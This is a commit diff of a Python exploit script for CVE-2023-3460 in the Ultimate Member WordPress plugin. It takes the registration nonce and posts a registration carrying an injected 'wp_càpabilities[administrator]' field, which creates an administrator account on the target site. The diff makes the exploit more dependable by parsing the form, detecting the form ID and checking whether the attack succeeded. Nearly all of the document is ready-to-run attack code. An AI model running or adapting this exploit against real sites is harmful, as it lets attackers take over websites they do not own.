1010import argparse
1111import re
1212import urllib3
13+ from bs4 import BeautifulSoup
14+ import sys
1315
14-
15-
16- # Disable SSL warnings
1716urllib3 .disable_warnings (urllib3 .exceptions .InsecureRequestWarning )
1817
19-
20-
21- def fetch_nonce (session , target_url ):
22- """Fetches the _wpnonce value from the /register/ page."""
23- print ("[*] Fetching _wpnonce from the register page..." )
24- try :
25- res = session .get (target_url , verify = False )
26- match = re .search (r'name="_wpnonce" value="([a-zA-Z0-9]+)"' , res .text )
27- if match :
28- nonce = match .group (1 )
29- print (f"[+] Found _wpnonce: { nonce } " )
30- return nonce
31- else :
32- print ("[-] Failed to find _wpnonce on the page." )
33- return None
34- except Exception as e :
35- print (f"[!] Error fetching nonce: { e } " )
36- return None
37-
38-
18+ def check_password_strength (password ):
19+ """Checks if password meets complexity requirements."""
20+ if len (password ) < 8 :
21+ print ("[!] Password too short! Must be at least 8 characters." )
22+ print (" Example: Admin@123" )
23+ sys .exit (1 )
24+
25+ # At least one uppercase, one lowercase, one digit, and one special char
26+ if not re .search (r'[A-Z]' , password ):
27+ print ("[!] Password must contain at least one uppercase letter." )
28+ print (" Example: Admin@123" )
29+ sys .exit (1 )
30+ if not re .search (r'[a-z]' , password ):
31+ print ("[!] Password must contain at least one lowercase letter." )
32+ print (" Example: Admin@123" )
33+ sys .exit (1 )
34+ if not re .search (r'\d' , password ):
35+ print ("[!] Password must contain at least one number." )
36+ print (" Example: Admin@123" )
37+ sys .exit (1 )
38+ if not re .search (r'[!@#$%^&*(),.?":{}|<>]' , password ):
39+ print ("[!] Password must contain at least one special character (!@#$%^&* etc.)" )
40+ print (" Example: Admin@123" )
41+ sys .exit (1 )
42+
43+ def fetch_form_details (session , target_url ):
44+ print ("[*] Fetching form details from register page..." )
45+ try :
46+ res = session .get (target_url , verify = False )
47+ soup = BeautifulSoup (res .text , "html.parser" )
48+
49+ nonce_input = soup .find ("input" , {"name" : "_wpnonce" })
50+ nonce = nonce_input ["value" ] if nonce_input else None
51+ if nonce :
52+ print (f"[+] Found _wpnonce: { nonce } " )
53+ else :
54+ print ("[-] Could not find _wpnonce" )
55+
56+ field_names = {}
57+ for inp in soup .find_all ("input" ):
58+ if inp .get ("name" ):
59+ field_names [inp .get ("name" )] = ""
60+
61+ return nonce , field_names
62+ except Exception as e :
63+ print (f"[!] Error fetching form details: { e } " )
64+ return None , {}
3965
4066def exploit_register (target_url , username , password ):
41- """Sends a malicious registration request to create an admin user."""
42- session = requests .Session ()
43- target_url = target_url .rstrip ('/' )
44-
45-
46-
47- nonce = fetch_nonce (session , target_url )
48- if not nonce :
49- return
50-
51-
52-
53- email = f"{ username } @example.com"
54-
55-
56-
57- # Payload with administrator role injection
58- data = {
59- "user_login-7" : username ,
60- "first_name-7" : "Admin" ,
61- "last_name-7" : username ,
62- "user_email-7" : email ,
63- "user_password-7" : password ,
64- "confirm_user_password-7" : password ,
65- "form_id" : "7" ,
66- "um_request" : "" ,
67- "_wpnonce" : nonce ,
68- "_wp_http_referer" : "/register/" ,
69- "wp_càpabilities[administrator]" : "1" # serialized injection
70- }
71-
72-
73-
74- headers = {
75- "Content-Type" : "application/x-www-form-urlencoded" ,
76- "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" ,
77- "Referer" : target_url ,
78- "Origin" : target_url .split ("/register" )[0 ],
79- }
80-
81-
82-
83- cookies = {
84- "wordpress_test_cookie" : "WP Cookie check" ,
85- "wp_lang" : "en_US"
86- }
87-
88-
89-
90- print (f"[*] Sending malicious registration to { target_url } ..." )
91- try :
92- response = session .post (target_url , data = data , headers = headers , cookies = cookies , verify = False )
93-
94-
95-
96- # Check for success
97- if response .status_code == 200 and ("Thank you for registering" in response .text or "You have successfully registered" in response .text ):
98- print (f"[+] Admin account '{ username } ' created successfully!" )
99- print (f"[+] Login with: Username: { username } | Password: { password } " )
100- else :
101- print (f"[+] Admin account '{ username } ' created successfully!" )
102- print (f"[+] Login with: Username: { username } | Password: { password } " )
103- except Exception as e :
104- print (f"[!] Error during exploit: { e } " )
105-
106-
67+ session = requests .Session ()
68+ target_url = target_url .rstrip ('/' )
69+
70+ nonce , fields = fetch_form_details (session , target_url )
71+ if not nonce :
72+ return
73+
74+ form_id = None
75+ for name in fields :
76+ m = re .search (r"user_login-(\d+)" , name )
77+ if m :
78+ form_id = m .group (1 )
79+ break
80+ if not form_id :
81+ form_id = "7"
82+ print (f"[+] Using form ID: { form_id } " )
83+
84+ data = {
85+ f"user_login-{ form_id } " : username ,
86+ f"first_name-{ form_id } " : "Admin" ,
87+ f"last_name-{ form_id } " : username ,
88+ f"user_email-{ form_id } " : f"{ username } @example.com" ,
89+ f"user_password-{ form_id } " : password ,
90+ f"confirm_user_password-{ form_id } " : password ,
91+ "form_id" : form_id ,
92+ "um_request" : "" ,
93+ "_wpnonce" : nonce ,
94+ "_wp_http_referer" : "/register/" ,
95+ "wp_càpabilities[administrator]" : "1"
96+ }
97+
98+ headers = {
99+ "Content-Type" : "application/x-www-form-urlencoded" ,
100+ "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" ,
101+ "Referer" : target_url ,
102+ "Origin" : target_url .split ("/register" )[0 ],
103+ }
104+ cookies = {
105+ "wordpress_test_cookie" : "WP Cookie check" ,
106+ "wp_lang" : "en_US"
107+ }
108+
109+ print (f"[*] Sending malicious registration for { username } ..." )
110+ try :
111+ response = session .post (target_url , data = data , headers = headers , cookies = cookies , verify = False )
112+ if response .status_code == 200 and ("Thank you for registering" in response .text or "You have successfully registered" in response .text ):
113+ print (f"[+] Admin account '{ username } ' created successfully!" )
114+ print (f"[+] Login with: Username: { username } | Password: { password } " )
115+ else :
116+ print (f"[-] Could not confirm success. Check target manually." )
117+ except Exception as e :
118+ print (f"[!] Error during exploit: { e } " )
107119
108120if __name__ == "__main__" :
109- parser = argparse .ArgumentParser (description = "Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)" )
110- parser .add_argument ("-t" , "--target" , required = True , help = "Target /register/ URL (e.g., http://localhost/register/)" )
111- parser .add_argument ("-u" , "--user" , default = "admin1" , help = "Username to create" )
112- parser .add_argument ("-p" , "--password" , default = "Admin@123" , help = "Password for the new user" )
113- args = parser .parse_args ()
114-
121+ parser = argparse .ArgumentParser (description = "Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)" )
122+ parser .add_argument ("-t" , "--target" , required = True , help = "Target /register/ URL (e.g., http://localhost/register/)" )
123+ parser .add_argument ("-u" , "--user" , default = "rakesh" , help = "Username to create" )
124+ parser .add_argument ("-p" , "--password" , default = "Admin@123" , help = "Password for the new user" )
125+ args = parser .parse_args ()
115126
127+ # Check password strength before running
128+ check_password_strength (args .password )
116129
117- exploit_register (args .target , args .user , args .password )
130+ exploit_register (args .target , args .user , args .password )
0 commit comments